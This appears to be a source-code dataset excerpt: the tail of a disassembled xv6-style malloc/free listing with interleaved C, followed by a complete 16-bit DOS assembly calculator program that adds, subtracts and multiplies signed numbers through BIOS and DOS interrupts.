93b: 39 f1 cmp %esi,%ecx
93d: 74 28 je 967 <free+0x77>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
93f: 89 08 mov %ecx,(%eax)
freep = p;
}
941: 5b pop %ebx
freep = p;
942: a3 14 0e 00 00 mov %eax,0xe14
}
947: 5e pop %esi
948: 5f pop %edi
949: 5d pop %ebp
94a: c3 ret
94b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
94f: 90 nop
bp->s.size += p->s.ptr->s.size;
950: 03 72 04 add 0x4(%edx),%esi
953: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
956: 8b 10 mov (%eax),%edx
958: 8b 12 mov (%edx),%edx
95a: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
95d: 8b 50 04 mov 0x4(%eax),%edx
960: 8d 34 d0 lea (%eax,%edx,8),%esi
963: 39 f1 cmp %esi,%ecx
965: 75 d8 jne 93f <free+0x4f>
p->s.size += bp->s.size;
967: 03 53 fc add -0x4(%ebx),%edx
freep = p;
96a: a3 14 0e 00 00 mov %eax,0xe14
p->s.size += bp->s.size;
96f: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
972: 8b 53 f8 mov -0x8(%ebx),%edx
975: 89 10 mov %edx,(%eax)
}
977: 5b pop %ebx
978: 5e pop %esi
979: 5f pop %edi
97a: 5d pop %ebp
97b: c3 ret
97c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
00000980 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
980: 55 push %ebp
981: 89 e5 mov %esp,%ebp
983: 57 push %edi
984: 56 push %esi
985: 53 push %ebx
986: 83 ec 1c sub $0x1c,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
989: 8b 45 08 mov 0x8(%ebp),%eax
if((prevp = freep) == 0){
98c: 8b 3d 14 0e 00 00 mov 0xe14,%edi
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
992: 8d 70 07 lea 0x7(%eax),%esi
995: c1 ee 03 shr $0x3,%esi
998: 83 c6 01 add $0x1,%esi
if((prevp = freep) == 0){
99b: 85 ff test %edi,%edi
99d: 0f 84 ad 00 00 00 je a50 <malloc+0xd0>
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
9a3: 8b 07 mov (%edi),%eax
if(p->s.size >= nunits){
9a5: 8b 48 04 mov 0x4(%eax),%ecx
9a8: 39 f1 cmp %esi,%ecx
9aa: 73 71 jae a1d <malloc+0x9d>
9ac: 81 fe 00 10 00 00 cmp $0x1000,%esi
9b2: bb 00 10 00 00 mov $0x1000,%ebx
9b7: 0f 43 de cmovae %esi,%ebx
p = sbrk(nu * sizeof(Header));
9ba: 8d 0c dd 00 00 00 00 lea 0x0(,%ebx,8),%ecx
9c1: 89 4d e4 mov %ecx,-0x1c(%ebp)
9c4: eb 1b jmp 9e1 <malloc+0x61>
9c6: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
9cd: 8d 76 00 lea 0x0(%esi),%esi
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
9d0: 8b 10 mov (%eax),%edx
if(p->s.size >= nunits){
9d2: 8b 4a 04 mov 0x4(%edx),%ecx
9d5: 39 f1 cmp %esi,%ecx
9d7: 73 4f jae a28 <malloc+0xa8>
9d9: 8b 3d 14 0e 00 00 mov 0xe14,%edi
9df: 89 d0 mov %edx,%eax
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
9e1: 39 c7 cmp %eax,%edi
9e3: 75 eb jne 9d0 <malloc+0x50>
p = sbrk(nu * sizeof(Header));
9e5: 83 ec 0c sub $0xc,%esp
9e8: ff 75 e4 pushl -0x1c(%ebp)
9eb: e8 2b fc ff ff call 61b <sbrk>
if(p == (char*)-1)
9f0: 83 c4 10 add $0x10,%esp
9f3: 83 f8 ff cmp $0xffffffff,%eax
9f6: 74 1b je a13 <malloc+0x93>
hp->s.size = nu;
9f8: 89 58 04 mov %ebx,0x4(%eax)
free((void*)(hp + 1));
9fb: 83 ec 0c sub $0xc,%esp
9fe: 83 c0 08 add $0x8,%eax
a01: 50 push %eax
a02: e8 e9 fe ff ff call 8f0 <free>
return freep;
a07: a1 14 0e 00 00 mov 0xe14,%eax
if((p = morecore(nunits)) == 0)
a0c: 83 c4 10 add $0x10,%esp
a0f: 85 c0 test %eax,%eax
a11: 75 bd jne 9d0 <malloc+0x50>
return 0;
}
}
a13: 8d 65 f4 lea -0xc(%ebp),%esp
return 0;
a16: 31 c0 xor %eax,%eax
}
a18: 5b pop %ebx
a19: 5e pop %esi
a1a: 5f pop %edi
a1b: 5d pop %ebp
a1c: c3 ret
if(p->s.size >= nunits){
a1d: 89 c2 mov %eax,%edx
a1f: 89 f8 mov %edi,%eax
a21: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(p->s.size == nunits)
a28: 39 ce cmp %ecx,%esi
a2a: 74 54 je a80 <malloc+0x100>
p->s.size -= nunits;
a2c: 29 f1 sub %esi,%ecx
a2e: 89 4a 04 mov %ecx,0x4(%edx)
p += p->s.size;
a31: 8d 14 ca lea (%edx,%ecx,8),%edx
p->s.size = nunits;
a34: 89 72 04 mov %esi,0x4(%edx)
freep = prevp;
a37: a3 14 0e 00 00 mov %eax,0xe14
}
a3c: 8d 65 f4 lea -0xc(%ebp),%esp
return (void*)(p + 1);
a3f: 8d 42 08 lea 0x8(%edx),%eax
}
a42: 5b pop %ebx
a43: 5e pop %esi
a44: 5f pop %edi
a45: 5d pop %ebp
a46: c3 ret
a47: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
a4e: 66 90 xchg %ax,%ax
base.s.ptr = freep = prevp = &base;
a50: c7 05 14 0e 00 00 18 movl $0xe18,0xe14
a57: 0e 00 00
base.s.size = 0;
a5a: bf 18 0e 00 00 mov $0xe18,%edi
base.s.ptr = freep = prevp = &base;
a5f: c7 05 18 0e 00 00 18 movl $0xe18,0xe18
a66: 0e 00 00
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
a69: 89 f8 mov %edi,%eax
base.s.size = 0;
a6b: c7 05 1c 0e 00 00 00 movl $0x0,0xe1c
a72: 00 00 00
if(p->s.size >= nunits){
a75: e9 32 ff ff ff jmp 9ac <malloc+0x2c>
a7a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
prevp->s.ptr = p->s.ptr;
a80: 8b 0a mov (%edx),%ecx
a82: 89 08 mov %ecx,(%eax)
a84: eb b1 jmp a37 <malloc+0xb7>
| 35.314741 | 73 | 0.415764 |
cdfccc9ef176744ce445cb9b0d5b642b7df496e0 | 13,153 | asm | Assembly | calculator.asm | hwegge2/x86_calculator | 6bc5819d34955cc5400268782b0b3a9e3949fa7e | [
"MIT"
] | null | null | null | calculator.asm | hwegge2/x86_calculator | 6bc5819d34955cc5400268782b0b3a9e3949fa7e | [
"MIT"
] | null | null | null | calculator.asm | hwegge2/x86_calculator | 6bc5819d34955cc5400268782b0b3a9e3949fa7e | [
"MIT"
] | null | null | null | ; multi-segment executable file template.
data segment
SUM DB 4 DUP(0)
NOTSUM db 4 dup(0)
NOTDIFF db 4 dup(0)
DIFF1 DB 4 DUP(0)
MULT db 4 dup(0)
NUMBER DB 12 DUP(0)
DECIMAL_IN_ASCII db 11 dup(0)
A DB 4 DUP(0)
usenegmult db 0
usenotsum db 0
usenotdiff db 0
Aneg db 4 dup(0)
result db 11 dup(0)
asign db 0
bsign db 0
B DB 4 DUP(0)
Bneg db 4 dup(0)
enterx db " X: $"
entery db " Y: $"
xplusy db " X + Y = $" ;changed from a,b to x,y
xminusy db " X - Y = $" ;to reflect new program
xtimesy db " X * Y = $"
blanks db 21 dup(' '), '$'
currentcmd db 00h
NL DB 10,13,'$'
SCREEN DB ' MENU ',10,13
DB ' 1 - Enter Values',10,13
DB ' 2 - Add',10,13
DB ' 3 - Subtract',10,13
DB ' 4 - Multiply',10,13
DB ' Q - QUIT',10,13
DB 13,10,10,' Enter choice of operation:$'
ends
stack segment
dw 128 dup(0)
ends
code segment
main proc far
; set segment registers:
mov ax, data
mov ds, ax
mov es, ax ;
mov ah, 0h
mov al, 3h
call menu
CALL NEW_LINE ;moved "BEGIN" to be main program
MOV DX,OFFSET SCREEN
CALL MESSAGE
REDO:
mov ah, 2
mov bh, 0
mov dh, 10 ;set cursor to where user enters choice
mov dl, 29
mov bh, 0
int 10h
CALL GET_CHAR
CMP AL,'1'
JNE REDO1
mov asign, 0
mov bsign, 0
mov usenotsum, 0
mov usenotdiff, 0
mov usenegmult, 0
call CLR_PRV_OUTPUTS
call NEW_LINE
call NEW_LINE
mov ah, 9h
mov dx, offset enterx
int 21h
mov ch, 2
CALL INPUT_NUMBER
call CONV_ASC2BIN
call NEW_LINE
mov ah, 9h
mov dx, offset entery
int 21h
call INPUT_NUMBER
mov ch, 1
call CONV_ASC2BIN
JMP REDO
REDO1:
CMP ah,10h
JE QUIT
call EVALUATE
JMP REDO
QUIT:
MOV AH,4CH
INT 21H
mov ax, 4c00h ; exit to operating system.
int 21
ret
main endp
;-------------------------------------------------
PRODUCT_A_B proc near
push cx
push dx
push bx
push ax
mov cx, 1
mov dx, 19
mov SI,offset A
mov BX,offset B
mov DI,offset MULT
mulagain:
mov bx, offset B
mov ax, [bx]
AND ax, cx
jz skip
mov si, offset A
mov bx, offset mult
call ACCUM_MUL
skip:
shl cx, 1
call SHIFT_A
dec dx
jnz mulagain
pop ax
pop bx
pop dx
pop cx
ret
PRODUCT_A_B endp
SHIFT_A proc near
push si
push ax
push cx
mov si, offset A
mov ax, [si]
shl ax, 1
mov [si], ax
mov ax, [si+2]
rcl ax, 1
mov [si+2], ax
pop cx
pop ax
pop si
ret
SHIFT_A endp
ACCUM_MUL proc near
push cx ;A into si
push ax ;B into bx, out into bx
push si
push bx
push dx
mov cx, 4
mov ax, 0
clc
mov al, [si]
adc al, [bx]
mov dl, al
inc si
inc bx
dec cx
mov al, [si]
adc al, [bx]
mov dh, al
inc si
inc bx
dec cx
push dx
mov dx, 0
mov al, [si]
adc al, [bx]
mov dl, al
inc si
inc bx
dec cx
mov al, [si]
adc al, [bx]
mov dh, al
inc si
inc bx
dec cx
mov bx, offset mult
mov [bx+2], dx
pop dx
mov [bx], dx
pop dx
pop bx
pop si
pop ax
pop cx
ret
ACCUM_MUL endp
EVALUATE proc near
cmp currentcmd, '4'
je multiply
cmp asign, 0
je testB
lea di, A
lea si, Aneg
call COMPLEMENT
testB:
cmp bsign, 0
je addsubtract
lea di, B
lea si, Bneg
call COMPLEMENT
addsubtract:
cmp currentcmd, '3'
je subtract
cmp asign, 1
je chos_aneg
mov si, offset A
jmp chosb
chos_aneg:
mov si, offset Aneg
chosb:
cmp bsign, 1
je chos_bneg
mov bx, offset B
jmp addandsubtract
chos_bneg:
mov bx, offset Bneg
addandsubtract:
cmp bsign, 1
je subtractnotadd
mov di, offset SUM
call ADD_A_B
jmp skipother
subtractnotadd:
mov si, offset Aneg
cmp asign, 1
je contin
mov si, offset A
contin:
mov bx, offset B
mov di, offset SUM
call SUB_A_B
skipother:
lea di, sum
cmp [di+3], 0FFh
jne conv2dec:
lea si, NOTSUM
call COMPLEMENT
lea si, usenotsum
mov [si], 1
conv2dec:
cmp usenotsum, 0
je sumpositive
lea si, notsum
jmp conv2asc
sumpositive:
lea si, sum
conv2asc:
cmp currentcmd, '3'
je subtract
call BIN2DEC2ASC
call DISPLAY_ANS
jmp done_eval
subtract:
cmp bsign, 0
je subtractlikenormal
mov bx, offset B
mov di, offset diff1
mov si, offset A
cmp asign, 0
je addd
mov si, offset Aneg
addd:
call ADD_A_B
jmp donesubtracting
subtractlikenormal:
mov bx, offset B
mov si, offset A
cmp asign, 0
je subtractposA
mov si, offset Aneg
subtractposA:
mov di, offset DIFF1
call SUB_A_B
donesubtracting:
lea di, diff1
cmp [di+3], 0FFh
jne convB2dec
lea si, NOTDIFF
call COMPLEMENT
lea si, usenotdiff
mov [si], 1
convB2dec:
cmp usenotdiff, 0
je diffpositive
lea si, notdiff
jmp convB2asc
diffpositive:
lea si, diff1
convB2asc:
call BIN2DEC2ASC
CALL DISPLAY_ANS
jmp done_eval
multiply:
call PRODUCT_A_B
mov al, asign
add al, bsign
cmp al, 0
je positivemult
cmp al, 2
je positivemult
mov usenegmult, 1
positivemult:
lea si, MULT
call BIN2DEC2ASC
call DISPLAY_ANS
jmp done_eval
done_eval:
ret
EVALUATE endp
DISPLAY_ANS proc near
mov ah, 2
mov bh, 0
mov dh, 15 ;set cursor to correct area
mov dl, 0
mov bh, 0
int 10h
mov ah, 9
mov dx, offset blanks ;clear line
int 21h
mov ah, 2
mov bh, 0
mov dh, 15 ;set cursor back to correct area
mov dl, 0
mov bh, 0
int 10h
cmp currentcmd, '2'
jne notadding
mov ah, 9
mov dx, offset xplusy
int 21h
cmp usenotsum, 0
je displaysum
mov ah, 2
mov dl, '-' ;display '-' for negative sum
int 21h
displaysum:
mov ah, 9
mov dx, offset DECIMAL_IN_ASCII
int 21h
jmp done_display
notadding:
cmp currentcmd, '3'
jne notsubtracting
mov ah, 9
mov dx, offset xminusy
int 21h
cmp usenotdiff, 0
je displayminus2
mov ah, 2
mov dl, '-' ;display '-' for negative diff
int 21h
displayminus2:
mov ah, 9
mov dx, offset DECIMAL_IN_ASCII
int 21h
jmp done_display
notsubtracting:
mov ah, 9
mov dx, offset xtimesy
int 21h
cmp usenegmult, 0
je skip3
mov ah, 2
mov dl, '-' ;display '-' for negative diff
int 21h
skip3:
mov ah, 9
mov dx, offset DECIMAL_IN_ASCII
int 21h
done_display:
ret
DISPLAY_ANS endp
MENU proc near
push ds
push di
mov ax, 0040h
mov ds, ax ; for getting screen parameters.
mov ah, 06h ; scroll up function id.
mov al, 0 ; scroll all lines
mov bh, 1001_1110b ; attributes blue bg & yellow font
mov ch, 0 ; upper row.
mov cl, 0 ; upper col.
mov di, 84h ; rows on screen -1,
mov dh, [di] ; lower row (byte).
mov di, 4ah ; columns on screen,
mov dl, [di]
dec dl ; lower col.
int 10h
; set cursor position to top
; of the screen:
mov bh, 0 ; current page.
mov dl, 0 ; col.
mov dh, 0 ; row.
mov ah, 02
int 10h
pop di ; re-store registers...
pop ds ;
MOV AX,0 ;reset registers
MOV BX,0
MOV CX,0
MOV DX,0
ret
MENU endp
NEW_LINE PROC NEAR
PUSH AX
PUSH DX
MOV DX,OFFSET NL
MOV AH,9
INT 21H
POP DX
POP AX
RET
NEW_LINE ENDP
MESSAGE PROC NEAR
PUSH AX
CALL NEW_LINE
MOV AH,9
INT 21H
POP AX
RET
MESSAGE ENDP
GET_CHAR PROC NEAR
MOV AH,0 ;changed to scan code
INT 16H
mov currentcmd, al ;clears input
RET
GET_CHAR ENDP
ADD_A_B proc near
push cx ;A into si
push ax ;B into bx
push si ;output into di
push bx
mov cx, 4
mov ax, 0
clc
adding: mov al, [si]
adc al, [bx]
mov [di], al
inc si
inc bx
inc di
dec cx
jnz adding
pop bx
pop si
pop ax
pop cx
ret
ADD_A_B endp
SUB_A_B proc near
push cx
push ax
push si
push bx
mov cx, 4
mov ax, 0
clc
subtracting: mov al, [si]
sbb al, [bx]
mov [di], al
inc si
inc bx
inc di
dec cx
jnz subtracting
pop bx
pop si
pop ax
pop cx
ret
SUB_A_B endp
INPUT_NUMBER proc near
mov di, offset NUMBER
mov [di], 10
mov ah, 0Ah
mov dx, offset NUMBER
int 21h
ret
INPUT_NUMBER endp
CONV_ASC2BIN proc near
mov si, offset NUMBER
mov cl, [si+1]
cmp [si+2], '-'
jne positive ;jump past -, dec length
inc si
dec cl
cmp ch, 1
jg anegative
mov bsign, 1
jmp positive
anegative:
mov asign, 1
positive:
cmp cl, 1
jnz continue ;fixed inputs with only 1 digit
push [si+2]
mov [si+2], 30h
pop dx
mov [si+3], dx
mov cl, 2
mov dx, 0
Continue:
dec cl ;end fix
add si, 2
mov ax, 0
mov bp, 10
clc
mov dx, 0
conv: mov bl, [si]
sub bl, 30h
add ax, bx
adc dx, 0
push ax
mov ax, dx
mul bp
mov di, ax
pop ax
mul bp
add dx, di
inc si
dec cl
jnz conv
clc
dec ch
jz Bnum
mov bl, [si]
sub bl, 30h
add al, bl
adc ah, 0
adc dx, 0
mov si, offset A
mov [si], ax
mov [si+2], dx
ret
Bnum: mov bl, [si]
sub bl, 30h
add al, bl
adc ah, 0
adc dx, 0
mov si, offset B
mov [si], ax
mov [si+2], dx
ret
CONV_ASC2BIN endp
CLC_SCREEN proc near
push ax
mov ax, 0003h
int 10h
pop ax
ret
CLC_SCREEN endp
COMPLEMENT proc near
mov ax, [di]
mov dx, [di+2] ;original # at DI
mov bx, 0FFFFh
sub bx, dx
mov cx, 0FFFFh
sub cx, ax
add cx, 1
adc bx, 0
mov [si], cx ;result in SI
mov [si+2], bx
ret
COMPLEMENT endp
BIN2DEC2ASC proc near
mov bp, 000Ah ;use si as input
lea di, result
againb2d:
mov dx, 0
mov ax, [si+2]
div bp
mov [si+2], ax
mov ax, [si]
div bp
mov [si], ax
mov [di], dx
add [di], 30h
cmp ax, 0
je nextb2d
inc di
jne againb2d
nextb2d:
lea si, result
lea bx, DECIMAL_IN_ASCII
switchb2d:
mov al, [di]
mov [bx], al
inc bx
dec di
cmp di, si
jnl switchb2d
mov [bx], '$'
ret
BIN2DEC2ASC endp
CLR_PRV_OUTPUTS proc near
push dx
mov ah, 2
mov bh, 0
mov dh, 15
mov dl, 0
mov bh, 0 ;set cursor to last output
int 10h
mov ah, 9
mov dx, offset blanks
int 21h ;write spaces
mov ah, 2
mov bh, 0
mov dh, 13
mov dl, 0
mov bh, 0
int 10h
mov ah, 9
mov dx, offset blanks
int 21h
mov ah, 2
mov bh, 0
mov dh, 12
mov dl, 0
mov bh, 0
int 10h
mov ah, 9
mov dx, offset blanks
int 21h
mov ah, 2
mov bh, 0
mov dh, 10 ;set cursor to where user enters choice
mov dl, 29
mov bh, 0
int 10h
pop dx
ret
CLR_PRV_OUTPUTS endp
ends
end main ; set entry point and stop the assembler.
| 17.895238 | 67 | 0.488178 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.